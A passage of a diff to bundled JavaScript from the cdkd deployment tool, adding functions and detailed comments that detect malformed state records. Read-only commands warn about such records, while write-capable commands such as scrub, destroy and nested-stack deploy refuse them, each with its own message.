function repairMalformedResourcesForReadOnly(state) {
|
|
20646
|
+
if (hasReadableResources(state)) return false;
|
|
20647
|
+
state.resources = {};
|
|
20648
|
+
return true;
|
|
20649
|
+
}
|
|
20650
|
+
/**
|
|
20651
|
+
* The refusal TEXT, for a command whose own exit-code contract means this
|
|
20652
|
+
* cannot be a plain `CdkdError`.
|
|
20653
|
+
*
|
|
20654
|
+
* `cdkd scrub` is the case: its exit `1` is SPOKEN FOR ("--fail found
|
|
20655
|
+
* plaintext") and every one of its refusals carries `exitCode = 2`, because a
|
|
20656
|
+
* CI gate reading the code alone must be able to tell "scrub looked and found
|
|
20657
|
+
* a leak" from "scrub refused to look" — the two call for opposite responses.
|
|
20658
|
+
* So scrub tests {@link hasReadableResources} and raises its own class around
|
|
20659
|
+
* this text rather than calling {@link refuseMalformedState}.
|
|
20660
|
+
*
|
|
20661
|
+
* The other three refusing commands do NOT share that need, and giving them a
|
|
20662
|
+
* single shared code would be wrong in the other direction: `cdkd rollback`
|
|
20663
|
+
* documents `2` as "PARTIAL — journal kept, idempotent re-run", so a `2` here
|
|
20664
|
+
* would tell an operator to re-run a command that attempted nothing.
|
|
20665
|
+
*/
|
|
20666
|
+
function malformedStateRefusalMessage(stackName, region) {
|
|
20667
|
+
return `${malformedStateDetail(stackName, region)} This command can WRITE state, so it refuses rather than continuing: saving over a record whose resource map could not be read would replace the evidence with a well-formed empty one and lose it permanently. Repair or remove the record first.`;
|
|
20668
|
+
}
|
|
20669
|
+
/**
|
|
20670
|
+
* The warning a view emits when it emptied one or more {@link
|
|
20671
|
+
* RenderedStateContainer}s it could not walk (go-to-k/cdkd#3187).
|
|
20672
|
+
*
|
|
20673
|
+
* Deliberately NOT {@link malformedResourcesWarning}'s text, and the reason is
|
|
20674
|
+
* narrower than it looks. That one tells the reader not to run `cdkd deploy` /
|
|
20675
|
+
* `cdkd destroy` because an unreadable `resources` MAP is indistinguishable
|
|
20676
|
+
* from an empty stack: deploy would re-CREATE everything and destroy would
|
|
20677
|
+
* delete nothing. No container named here can produce that specific confusion —
|
|
20678
|
+
* the resource SET is still readable — so borrowing that sentence would attach
|
|
20679
|
+
* a re-create-the-world warning to a record whose resource list is intact.
|
|
20680
|
+
*
|
|
20681
|
+
* It is NOT that these containers are display-only. `properties` is read by the
|
|
20682
|
+
* deploy change calculation (`src/analyzer/diff-calculator.ts`), where a
|
|
20683
|
+
* non-object compares unequal to any
|
|
20684
|
+
* desired object and yields a spurious property-change set — measured there as
|
|
20685
|
+
* a REPLACEMENT of the live resource, and closed by
|
|
20686
|
+
* {@link refuseMalformedResourceProperties} (go-to-k/cdkd#3191). An earlier
|
|
20687
|
+
* revision of this comment asserted the display-only premise, which would have
|
|
20688
|
+
* read as licence to drop a guard on that path (review of go-to-k/cdkd#3190).
|
|
20689
|
+
* That the path is now guarded does not restore the premise: this text is still
|
|
20690
|
+
* not the one to borrow, because the deploy path REFUSES where these views
|
|
20691
|
+
* continue.
|
|
20692
|
+
*
|
|
20693
|
+
* What stays the same is the remedy: `--json` is the mode that shows the
|
|
20694
|
+
* stored value.
|
|
20695
|
+
*
|
|
20696
|
+
* ONE warning per record however many containers it names — a stack whose 500
|
|
20697
|
+
* resources all carry a hand-edited `properties` gets one line, not 500. The
|
|
20698
|
+
* caller FILTERS a fixed order (`RENDERED_CONTAINER_ORDER`), so the text is
|
|
20699
|
+
* stable across records. Not `.sort()` — that order is deliberately not
|
|
20700
|
+
* alphabetical, and its own JSDoc says so.
|
|
20701
|
+
*
|
|
20702
|
+
* Both identifiers are sanitized and then shell-quoted, and the command is
|
|
20703
|
+
* emitted LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s own note
|
|
20704
|
+
* gives.
|
|
20705
|
+
*
|
|
20706
|
+
* The container NAMES take {@link safeIdentifier} too — the SAME helper, so
|
|
20707
|
+
* they cannot drift from it — but NOT `shellQuote`, because they appear in the
|
|
20708
|
+
* PROSE and never inside the command this text tells the reader to run; the
|
|
20709
|
+
* command carries the two identifiers and nothing else.
|
|
20710
|
+
*
|
|
20711
|
+
* Sanitizing them is not dead code written for a case that cannot happen. The
|
|
20712
|
+
* union above is closed at COMPILE time, so without this the guarantee would
|
|
20713
|
+
* live in a comment, and the day a caller derives a name from a record instead
|
|
20714
|
+
* of from a literal an unsanitized element could forge a line, render as empty
|
|
20715
|
+
* quotes naming nothing, or run to kilobytes and push the remedy command off
|
|
20716
|
+
* the reader's screen. `safeIdentifier` closes all three and is the identity on
|
|
20717
|
+
* all four literals, so no user-visible text moves.
|
|
20718
|
+
*
|
|
20719
|
+
* What it does NOT close, stated rather than reassured away: a forged name made
|
|
20720
|
+
* only of printable ASCII still renders verbatim inside its quotes and could
|
|
20721
|
+
* read as prose. That residual is bounded to the PROSE — the command the reader
|
|
20722
|
+
* pastes is built from the two shell-quoted identifiers alone — and closing it
|
|
20723
|
+
* would mean JSON-quoting a name in the one place the text is meant to read as
|
|
20724
|
+
* English (review of go-to-k/cdkd#3190).
|
|
20725
|
+
*/
|
|
20726
|
+
function malformedRenderedContainersWarning(stackName, region, containers) {
|
|
20727
|
+
const stack = safeIdentifier(stackName);
|
|
20728
|
+
const reg = safeIdentifier(region);
|
|
20729
|
+
const names = containers.map((name) => `'${safeIdentifier(name)}'`).join(", ");
|
|
20730
|
+
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has a non-object ${names} — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so rendering one INVENTS a row per character or element. Continuing with it EMPTY: this view shows no rows there, which is not the same as the record holding none. A per-resource container is named once however many resources hold one. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
20731
|
+
}
|
|
20732
|
+
/** The warning a caller of {@link repairMalformedResourcesForReadOnly} emits. */
|
|
20733
|
+
function malformedResourcesWarning(stackName, region) {
|
|
20734
|
+
return `${malformedStateDetail(stackName, region)} Continuing with an EMPTY resource set: this command's output describes zero resources, which is not the same as the stack having none.`;
|
|
20735
|
+
}
|
|
20736
|
+
/**
|
|
20737
|
+
* The `outputs` half of {@link repairMalformedResourcesForReadOnly}, for a
|
|
20738
|
+
* READ-ONLY command that DIFFS the stored bag rather than rendering it
|
|
20739
|
+
* (go-to-k/cdkd#3189).
|
|
20740
|
+
*
|
|
20741
|
+
* `computeOutputsDiff` enumerates the stored bag twice, the second walk
|
|
20742
|
+
* emitting one `REMOVE` row per stored key today's template no longer declares.
|
|
20743
|
+
* It used to admit the bag on a bare `?? {}`, which covers `null` and
|
|
20744
|
+
* `undefined` only — so a hand-edited or truncated record whose `outputs` holds
|
|
20745
|
+
* a string or a list previewed the REMOVAL of outputs that never existed, one
|
|
20746
|
+
* row per character or element, each carrying a character of the record as its
|
|
20747
|
+
* `old:` side, with `cdkd diff --fail` exiting 1 on them.
|
|
20748
|
+
*
|
|
20749
|
+
* AT THE LOAD, for the reason
|
|
20750
|
+
* {@link repairMalformedResourcesForReadOnly}'s own note records and one more
|
|
20751
|
+
* that is specific to this container: `cdkd diff` dereferences the stored bag
|
|
20752
|
+
* BEFORE the walk that fabricates. `resolveTemplateOutputs` asks
|
|
20753
|
+
* `hasOwnProperty.call(storedOutputs, key)` for go-to-k/cdkd#2740's
|
|
20754
|
+
* skipped-output record and for go-to-k/cdkd#1942's literal `Export.Name`
|
|
20755
|
+
* verdict — which ANSWERS TRUE on a string for `'0'` or `'length'`, and THROWS
|
|
20756
|
+
* outright on `null` (`Cannot convert undefined or null to object`). So a guard
|
|
20757
|
+
* written at `computeOutputsDiff` alone leaves a wrong decision, or a raw
|
|
20758
|
+
* `TypeError`, one call above it.
|
|
20759
|
+
*
|
|
20760
|
+
* ABSENT IS EXEMPT AND `null` IS NOT, which is the one place this diverges from
|
|
20761
|
+
* {@link isReadableBag}'s verdict, and the split is measured rather than
|
|
20762
|
+
* stylistic. Both stored-bag lookups named above gate on
|
|
20763
|
+
* `storedOutputs !== undefined` before the `hasOwnProperty` call, so an ABSENT
|
|
20764
|
+
* bag never reaches one; every other consumer on the diff path carries its own
|
|
20765
|
+
* `?? {}` (`mergeNoChangeOutputs`'s `persisted`, `importableOutputKeys`, this
|
|
20766
|
+
* function's own walk). An absent bag is therefore inert, exactly the condition
|
|
20767
|
+
* under which `state.ts`'s `repairRenderedContainers` exempts it — and warning
|
|
20768
|
+
* would be a false positive on a record cdkd itself supports: `cdkd scrub`
|
|
20769
|
+
* round-trips a record with no `outputs` deliberately, refusing to materialize
|
|
20770
|
+
* `{}` over it, and the deploy's failure-path saves write
|
|
20771
|
+
* `outputs: currentState.outputs`, which `JSON.stringify` drops when it is
|
|
20772
|
+
* undefined. A `null` bag is NOT inert — it passes the `!== undefined` gate and
|
|
20773
|
+
* `hasOwnProperty.call(null, ...)` throws — so it is repaired and warned about
|
|
20774
|
+
* like any other unreadable shape.
|
|
20775
|
+
*
|
|
20776
|
+
* That leaves one clause of go-to-k/cdkd#3189's stated floor overridden on
|
|
20777
|
+
* purpose: it asked that a `null` bag "diff exactly as it does today and say
|
|
20778
|
+
* nothing", and diffing exactly as it does today means THROWING. Recorded on
|
|
20779
|
+
* the issue rather than silently traded.
|
|
20780
|
+
*
|
|
20781
|
+
* Mutates in place and returns whether it repaired anything; the caller warns
|
|
20782
|
+
* on `true` with {@link malformedOutputsWarning}. Read-only commands ONLY, for
|
|
20783
|
+
* the reason {@link refuseMalformedState} gives — a bag laundered into a
|
|
20784
|
+
* well-formed empty one is permanent, and for `outputs` it would also take the
|
|
20785
|
+
* exports index with it on the next write.
|
|
20786
|
+
*/
|
|
20787
|
+
function repairMalformedOutputsForReadOnly(state) {
|
|
20788
|
+
if (hasReadableOutputs(state)) return false;
|
|
20789
|
+
state.outputs = {};
|
|
20790
|
+
return true;
|
|
20791
|
+
}
|
|
20792
|
+
/**
|
|
20793
|
+
* The warning a caller of {@link repairMalformedOutputsForReadOnly} emits.
|
|
20794
|
+
*
|
|
20795
|
+
* Deliberately neither {@link malformedResourcesWarning}'s text nor
|
|
20796
|
+
* {@link malformedRenderedContainersWarning}'s, because the CONSEQUENCE of
|
|
20797
|
+
* continuing empty differs from both. The resources text forbids
|
|
20798
|
+
* `cdkd deploy` / `cdkd destroy` because an unreadable resource MAP is
|
|
20799
|
+
* indistinguishable from an empty stack; the resource set is intact here. The
|
|
20800
|
+
* rendered-containers text says the view "shows no rows there" — true of a
|
|
20801
|
+
* renderer, false of a diff, which does not go quiet on an empty stored bag but
|
|
20802
|
+
* reports every resolved output as an `ADD`. Saying so is the point: an
|
|
20803
|
+
* operator who reads `ADD` rows for outputs the stack already has needs to know
|
|
20804
|
+
* the comparison lost its left-hand side.
|
|
20805
|
+
*
|
|
20806
|
+
* Identifiers are sanitized and then shell-quoted and the command is emitted
|
|
20807
|
+
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
20808
|
+
*/
|
|
20809
|
+
function malformedOutputsWarning(stackName, region) {
|
|
20810
|
+
const stack = safeIdentifier(stackName);
|
|
20811
|
+
const reg = safeIdentifier(region);
|
|
20812
|
+
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. Where the stored value is a string or a list, 'Object.entries' walks it as readily as a map, so diffing it INVENTS a REMOVE row per character or element carrying the record's own characters; where it is a number, a boolean or null, it yields no comparison at all. Continuing with it EMPTY: every output this diff resolves is reported as an ADD and no stored key is reported as a REMOVE, which is not the same as the record holding none. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
20813
|
+
}
|
|
20814
|
+
/**
|
|
20815
|
+
* For a command that can WRITE state: refuse the record by name instead of
|
|
20816
|
+
* repairing it.
|
|
20817
|
+
*
|
|
20818
|
+
* Repairing is actively DANGEROUS here, and the PR that introduced this module
|
|
20819
|
+
* shipped that danger for one round before its security review caught it.
|
|
20820
|
+
* `cdkd scrub` gates its `saveState` on `recordsChanged > 0`, which an OUTPUTS
|
|
20821
|
+
* change alone satisfies — so a record holding `"resources": null` and a
|
|
20822
|
+
* plaintext secret in `outputs` would be scrubbed, and then saved back with a
|
|
20823
|
+
* repaired, WELL-FORMED `resources: {}`. The malformed record is the only
|
|
20824
|
+
* signal that anything is wrong; laundering it into a legitimate-looking empty
|
|
20825
|
+
* one is permanent and silent. The next `cdkd deploy` then reads zero resources
|
|
20826
|
+
* and CREATES the whole stack a second time, and the next `cdkd destroy`
|
|
20827
|
+
* deletes nothing and orphans every live resource — and the one-shot warning
|
|
20828
|
+
* that would have said so is long gone, quite possibly for a different
|
|
20829
|
+
* operator. `cdkd import --force` launders it the same way.
|
|
20830
|
+
*
|
|
20831
|
+
* Refusing still satisfies #3018, whose complaint was the BARE `TypeError`:
|
|
20832
|
+
* this names the stack, the region, the defect and the remedy, and exits on a
|
|
20833
|
+
* code rather than on a stack trace.
|
|
20834
|
+
*/
|
|
20835
|
+
function refuseMalformedState(state, stackName, region) {
|
|
20836
|
+
if (hasReadableResources(state)) return;
|
|
20837
|
+
throw new CdkdError(malformedStateRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
|
|
20838
|
+
}
|
|
20839
|
+
/**
|
|
20840
|
+
* The `outputs` half of {@link malformedStateRefusalMessage}, for the same
|
|
20841
|
+
* reason that one is exported separately from the throw: `cdkd scrub`'s exit
|
|
20842
|
+
* `1` is spoken for and it raises its own exit-2 class around this text.
|
|
20843
|
+
*
|
|
20844
|
+
* A DIFFERENT text from the `resources` refusal because the consequence of
|
|
20845
|
+
* continuing differs, the same way the three warnings in this module differ. The
|
|
20846
|
+
* `resources` message forbids `cdkd deploy` / `cdkd destroy` because an
|
|
20847
|
+
* unreadable resource MAP is indistinguishable from an empty stack; the resource
|
|
20848
|
+
* set is intact here. What is at stake instead is the SHARED exports index:
|
|
20849
|
+
* `cdkd/_index/<region>/exports.json` is rebuilt from these bags, and a string
|
|
20850
|
+
* bag published one fabricated export per character into the namespace every
|
|
20851
|
+
* other stack's `Fn::ImportValue` binds against.
|
|
20852
|
+
*
|
|
20853
|
+
* Identifiers are sanitized and THEN shell-quoted and the command is emitted
|
|
20854
|
+
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
20855
|
+
*/
|
|
20856
|
+
function malformedOutputsRefusalMessage(stackName, region) {
|
|
20857
|
+
const stack = safeIdentifier(stackName);
|
|
20858
|
+
const reg = safeIdentifier(region);
|
|
20859
|
+
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. This command can WRITE state, so it refuses rather than continuing: it REBUILDS the bag before saving, and 'Object.entries' walks a string or a list as readily as a map, so a six-character value would be saved back as a well-formed six-key map (a null one as an empty map). That replaces the only signal anything is wrong with a legitimate-looking record, permanently — and the next deploy republishes it into the shared exports index every other stack's Fn::ImportValue resolves against. Repair or remove the record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
20860
|
+
}
|
|
20861
|
+
/**
|
|
20862
|
+
* The line `ExportIndexStore`'s rebuild emits for a producer record whose
|
|
20863
|
+
* export set it could not read (issue go-to-k/cdkd#3192) — `outputs` not a
|
|
20864
|
+
* plain object, or `exportNames` present and not an array.
|
|
20865
|
+
*
|
|
20866
|
+
* A THIRD outputs text rather than {@link malformedOutputsWarning} because the
|
|
20867
|
+
* consequence is again different, which is the rule the two above already
|
|
20868
|
+
* follow. That one describes a DIFF continuing with an empty left-hand side.
|
|
20869
|
+
* This describes a record CONTRIBUTING NOTHING to a shared, region-wide index
|
|
20870
|
+
* other stacks resolve against — so the symptom a reader will actually meet is
|
|
20871
|
+
* a later `Fn::ImportValue` failing in a DIFFERENT stack, naming the consumer
|
|
20872
|
+
* and not this record. Saying which producer dropped out is the whole value of
|
|
20873
|
+
* the line.
|
|
20874
|
+
*
|
|
20875
|
+
* It says the rebuild CONTINUES, because it does: refusing would take every
|
|
20876
|
+
* other producer in the region down with it, and the index is best-effort by
|
|
20877
|
+
* design.
|
|
20878
|
+
*
|
|
20879
|
+
* Identifiers are sanitized and THEN shell-quoted and the command is emitted
|
|
20880
|
+
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
20881
|
+
*/
|
|
20882
|
+
function malformedExportSourceWarning(stackName, region) {
|
|
20883
|
+
const stack = safeIdentifier(stackName);
|
|
20884
|
+
const reg = safeIdentifier(region);
|
|
20885
|
+
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map or 'exportNames' list — the record is malformed or truncated. It contributes NO exports to this region's index, which is not the same as the stack exporting none: an Fn::ImportValue of a name this stack really publishes will fail in the CONSUMER stack, naming that stack rather than this record. Continuing with the other producers — enumerating a string or a list here would instead publish one FABRICATED export per character or element. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
20886
|
+
}
|
|
20887
|
+
/**
|
|
20888
|
+
* The line a READ-ONLY command emits when a record's `exportNames` FIELD could
|
|
20889
|
+
* not be used (go-to-k/cdkd#3192 review) — present and not an array, or an
|
|
20890
|
+
* array with no usable name in it.
|
|
20891
|
+
*
|
|
20892
|
+
* Why a message at all, when the predicate already fails closed: before this
|
|
20893
|
+
* class was guarded, `cdkd diff` over such a record died with
|
|
20894
|
+
* `TypeError: state.exportNames.filter is not a function`. Failing closed
|
|
20895
|
+
* inside `importableOutputKeys` is right — it is a pure predicate reached from
|
|
20896
|
+
* five commands and holds no stack identity — but silently replacing a LOUD
|
|
20897
|
+
* wrong answer with a QUIET one is its own regression, and `cdkd diff` is
|
|
20898
|
+
* exactly the caller that DOES hold the identity. Without this it warned about
|
|
20899
|
+
* a damaged `outputs` bag on one line and said nothing about the damaged
|
|
20900
|
+
* `exportNames` on the same record.
|
|
20901
|
+
*
|
|
20902
|
+
* Deliberately NOT {@link malformedOutputsWarning}'s text: that one is about
|
|
20903
|
+
* the BAG, and the consequence differs. An unusable export SET does not lose
|
|
20904
|
+
* the comparison's left-hand side — every stored key is still diffed — it
|
|
20905
|
+
* makes the preview report no key as an export, so a row that would carry
|
|
20906
|
+
* `[export]` renders without it.
|
|
20907
|
+
*
|
|
20908
|
+
* Identifiers are sanitized and THEN shell-quoted and the command is emitted
|
|
20909
|
+
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
20910
|
+
*/
|
|
20911
|
+
function malformedExportNamesWarning(stackName, region) {
|
|
20912
|
+
const stack = safeIdentifier(stackName);
|
|
20913
|
+
const reg = safeIdentifier(region);
|
|
20914
|
+
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has an unusable 'exportNames' list — the record is malformed or truncated. It is read as an EMPTY export set, which is not the same as the record holding one: no stored key is reported as an export, so a row that should carry an '[export]' tag renders without it. Reading it as UNKNOWN instead would be worse — that falls back to the pre-v9 rule where every output name is importable. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
20915
|
+
}
|
|
20916
|
+
/**
|
|
20917
|
+
* For a command that can WRITE state: refuse a record whose `outputs` bag
|
|
20918
|
+
* cannot be read, instead of rebuilding it (issue go-to-k/cdkd#3192).
|
|
20919
|
+
*
|
|
20920
|
+
* The SIBLING of {@link refuseMalformedState}, and deliberately a second call
|
|
20921
|
+
* rather than a widening of that one. A record can be malformed in either
|
|
20922
|
+
* container alone, the two carry different consequences, and the refusal a user
|
|
20923
|
+
* sees must name the container that is actually broken — a `resources` message
|
|
20924
|
+
* printed over an intact resource map tells them not to run `cdkd deploy` for a
|
|
20925
|
+
* reason that does not hold.
|
|
20926
|
+
*
|
|
20927
|
+
* Why REFUSE and not {@link repairMalformedOutputsForReadOnly}, which is the
|
|
20928
|
+
* opposite answer for the same container one function up: repairing the bag and
|
|
20929
|
+
* then saving it IS the laundering this is here to stop. Measured, not
|
|
20930
|
+
* reasoned — `rewriteResourceReferences` turns `outputs: 'abcdef'` into
|
|
20931
|
+
* `{"0":"a",…,"5":"f"}` and `cdkd orphan` saves that; `cdkd scrub`'s
|
|
20932
|
+
* `redactUnaccountedOutputs` spreads the same string into a map and its
|
|
20933
|
+
* `outputsChanged` compare then satisfies the `recordsChanged > 0` write gate;
|
|
20934
|
+
* `cdkd import` carries a `null` bag through `?? {}`. Each one rewrites a
|
|
20935
|
+
* damaged record into a well-formed one and the evidence is gone.
|
|
20936
|
+
*
|
|
20937
|
+
* CALL IT AT THE LOAD, beside {@link refuseMalformedState} and above the first
|
|
20938
|
+
* expression that reads the bag — the placement rule
|
|
20939
|
+
* {@link repairMalformedResourcesForReadOnly}'s note records, for the reason it
|
|
20940
|
+
* records: a guard written at the rebuild leaves every earlier dereference in
|
|
20941
|
+
* front of it.
|
|
20942
|
+
*/
|
|
20943
|
+
function refuseMalformedOutputs(state, stackName, region) {
|
|
20944
|
+
if (hasReadableOutputs(state)) return;
|
|
20945
|
+
throw new CdkdError(malformedOutputsRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
|
|
20946
|
+
}
|
|
20947
|
+
/**
|
|
20948
|
+
* The DESTROY refusal text (issue
|
|
20949
|
+
* [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
|
|
20950
|
+
*
|
|
20951
|
+
* A FOURTH outputs text rather than {@link malformedOutputsRefusalMessage},
|
|
20952
|
+
* for the reason every text in this module is its own: that one says the
|
|
20953
|
+
* command "REBUILDS the bag before saving", which is FALSE here. A destroy
|
|
20954
|
+
* never rebuilds the bag — its incremental preserve-writes CLEAR `outputs`
|
|
20955
|
+
* outright. What it does with the bag instead is DECIDE, and the decision is
|
|
20956
|
+
* the strong-reference pre-flight: `state.outputs && Object.keys(...).length >
|
|
20957
|
+
* 0` asks "might this stack be a producer?", and only a positive answer runs
|
|
20958
|
+
* the cross-stack scan that refuses to delete an exporter while an importer
|
|
20959
|
+
* exists.
|
|
20960
|
+
*
|
|
20961
|
+
* Both directions of that question are wrong on a damaged bag, which is why
|
|
20962
|
+
* repairing is not available here. A STRING or a LIST answers YES for the
|
|
20963
|
+
* wrong reason — `Object.keys('abcdef')` is six fabricated names — and a
|
|
20964
|
+
* `null`, a number or a boolean answers NO, so the scan is SKIPPED and the
|
|
20965
|
+
* destroy deletes a producer other stacks still `Fn::ImportValue` from.
|
|
20966
|
+
* Reading the bag as empty (the read-only repair) IS that second answer, so
|
|
20967
|
+
* the only answer that fabricates nothing and skips no protection is to stop.
|
|
20968
|
+
*
|
|
20969
|
+
* Identifiers are sanitized and THEN shell-quoted and the command is emitted
|
|
20970
|
+
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
20971
|
+
*/
|
|
20972
|
+
function malformedDestroyOutputsRefusalMessage(stackName, region) {
|
|
20973
|
+
const stack = safeIdentifier(stackName);
|
|
20974
|
+
const reg = safeIdentifier(region);
|
|
20975
|
+
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. This command DELETES state, so it refuses rather than continuing: it reads this bag to decide whether the stack might export anything, and that decision gates the cross-stack check that refuses to delete a producer another stack still imports from. A string or a list invents one export name per character or element; a null, a number or a boolean reads as 'exports nothing' and SKIPS the check entirely, deleting the record while consumers still resolve against it. Repair or remove the record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
20976
|
+
}
|
|
20977
|
+
/**
|
|
20978
|
+
* For `cdkd destroy` / `cdkd state destroy`: refuse a record whose `outputs`
|
|
20979
|
+
* bag cannot be read (issue
|
|
20980
|
+
* [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
|
|
20981
|
+
*
|
|
20982
|
+
* A SEPARATE call from {@link refuseMalformedOutputs} rather than a flag on
|
|
20983
|
+
* it, for the same reason {@link refuseMalformedOutputs} is separate from
|
|
20984
|
+
* {@link refuseMalformedState}: the refusal a user sees must describe what
|
|
20985
|
+
* THIS command would have done with the bag, and the two consequences are
|
|
20986
|
+
* different — see {@link malformedDestroyOutputsRefusalMessage}.
|
|
20987
|
+
*
|
|
20988
|
+
* CALL IT AT THE TOP OF THE DESTROY, above the strong-reference decision it
|
|
20989
|
+
* protects. The placement rule is
|
|
20990
|
+
* {@link repairMalformedResourcesForReadOnly}'s and applies unchanged.
|
|
20991
|
+
*/
|
|
20992
|
+
function refuseMalformedOutputsForDestroy(state, stackName, region) {
|
|
20993
|
+
if (hasReadableOutputs(state)) return;
|
|
20994
|
+
throw markNonRetryable(new CdkdError(malformedDestroyOutputsRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED));
|
|
20995
|
+
}
|
|
20996
|
+
/**
|
|
20997
|
+
* The NESTED-STACK refusal text (issue
|
|
20998
|
+
* [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
|
|
20999
|
+
*
|
|
21000
|
+
* A FIFTH text, and the one whose damaged record and saved record are
|
|
21001
|
+
* DIFFERENT stacks. `NestedStackProvider.readChildOutputsAsAttributes` reads
|
|
21002
|
+
* the CHILD's persisted bag and rebuilds it into the PARENT's
|
|
21003
|
+
* `Outputs.<Key>` attributes; the parent's deploy then persists those
|
|
21004
|
+
* attributes into the parent's own record, where every `Fn::GetAtt` against
|
|
21005
|
+
* the nested stack resolves them — into live AWS calls. So a six-character
|
|
21006
|
+
* child bag becomes six fabricated parent attributes, and
|
|
21007
|
+
* {@link malformedOutputsRefusalMessage}'s "saved back as a well-formed
|
|
21008
|
+
* six-key map ... republished into the shared exports index" would name the
|
|
21009
|
+
* wrong record and the wrong blast radius.
|
|
21010
|
+
*
|
|
21011
|
+
* Identifiers are sanitized and THEN shell-quoted and the command is emitted
|
|
21012
|
+
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
21013
|
+
*/
|
|
21014
|
+
function malformedNestedChildOutputsRefusalMessage(childStackName, region) {
|
|
21015
|
+
const stack = safeIdentifier(childStackName);
|
|
21016
|
+
const reg = safeIdentifier(region);
|
|
21017
|
+
return `State for nested stack child ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. The parent's 'Outputs.<Key>' attributes are REBUILT from this bag and persisted into the PARENT's record, and 'Object.entries' walks a string or a list as readily as a map — so a six-character value would become six fabricated parent attributes that every Fn::GetAtt against this nested stack then resolves into live AWS calls. The deploy refuses rather than fabricating them. Repair or remove the child's record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
21018
|
+
}
|
|
21019
|
+
/**
|
|
21020
|
+
* For the nested-stack provider: refuse a CHILD record whose `outputs` bag
|
|
21021
|
+
* cannot be read (issue [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
|
|
21022
|
+
*
|
|
21023
|
+
* The provider itself calls no `saveState`, and that is why this is a refusal
|
|
21024
|
+
* rather than a repair anyway: what it returns becomes the parent's
|
|
21025
|
+
* `ResourceState.attributes`, which the parent's deploy engine persists. Being
|
|
21026
|
+
* write-capable THROUGH A CALLER is the same hazard as writing directly, and
|
|
21027
|
+
* repairing here would put a well-formed fabricated attribute set into the
|
|
21028
|
+
* parent's record with nothing left to say the child was damaged.
|
|
21029
|
+
*/
|
|
21030
|
+
function refuseMalformedNestedChildOutputs(state, childStackName, region) {
|
|
21031
|
+
if (hasReadableOutputs(state)) return;
|
|
21032
|
+
throw markNonRetryable(new CdkdError(malformedNestedChildOutputsRefusalMessage(childStackName, region), STATE_RESOURCES_MALFORMED));
|
|
21033
|
+
}
|
|
21034
|
+
/**
|
|
21035
|
+
* The warning the `cdkd local *` commands emit for a record whose `outputs`
|
|
21036
|
+
* bag they had to read as EMPTY (issue
|
|
21037
|
+
* [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
|
|
21038
|
+
*
|
|
21039
|
+
* A SIXTH text, and the only one on this container for a READ-ONLY caller
|
|
21040
|
+
* other than {@link malformedOutputsWarning}. It is not that one because the
|
|
21041
|
+
* consequence differs the same way every text in this module differs: that one
|
|
21042
|
+
* describes a DIFF continuing with an empty left-hand side and reporting every
|
|
21043
|
+
* resolved output as an `ADD`. A local run reports no rows at all — it
|
|
21044
|
+
* SUBSTITUTES, so the visible effect is an environment variable or a
|
|
21045
|
+
* `Fn::GetStackOutput` / `Fn::ImportValue` reference that resolves to nothing
|
|
21046
|
+
* and is dropped with a per-key warning, which is what "the record holds no
|
|
21047
|
+
* outputs" also looks like.
|
|
21048
|
+
*
|
|
21049
|
+
* TWO call sites share it, deliberately: `S3LocalStateProvider.load` reading
|
|
21050
|
+
* the TARGET stack's record, and `buildCrossStackResolver`'s
|
|
21051
|
+
* `Fn::GetStackOutput` arm reading a PRODUCER's. The record named is whichever
|
|
21052
|
+
* one is damaged, and the consequence is identical — which is why one text is
|
|
21053
|
+
* right here and a second spelling would only drift.
|
|
21054
|
+
*
|
|
21055
|
+
* Read-only is a property of these callers rather than of the command:
|
|
21056
|
+
* `cdkd local` writes no `state.json`. It CAN write one DERIVED key —
|
|
21057
|
+
* `ExportIndexStore.load` rebuilds and PUTs `cdkd/_index/<region>/exports.json`
|
|
21058
|
+
* on a miss — and that write is already fail-closed and warned about by
|
|
21059
|
+
* `hasReadableExportSet` / {@link malformedExportSourceWarning}, so nothing
|
|
21060
|
+
* here can launder a record.
|
|
21061
|
+
*
|
|
21062
|
+
* Identifiers are sanitized and THEN shell-quoted and the command is emitted
|
|
21063
|
+
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
21064
|
+
*/
|
|
21065
|
+
function malformedLocalOutputsWarning(stackName, region) {
|
|
21066
|
+
const stack = safeIdentifier(stackName);
|
|
21067
|
+
const reg = safeIdentifier(region);
|
|
21068
|
+
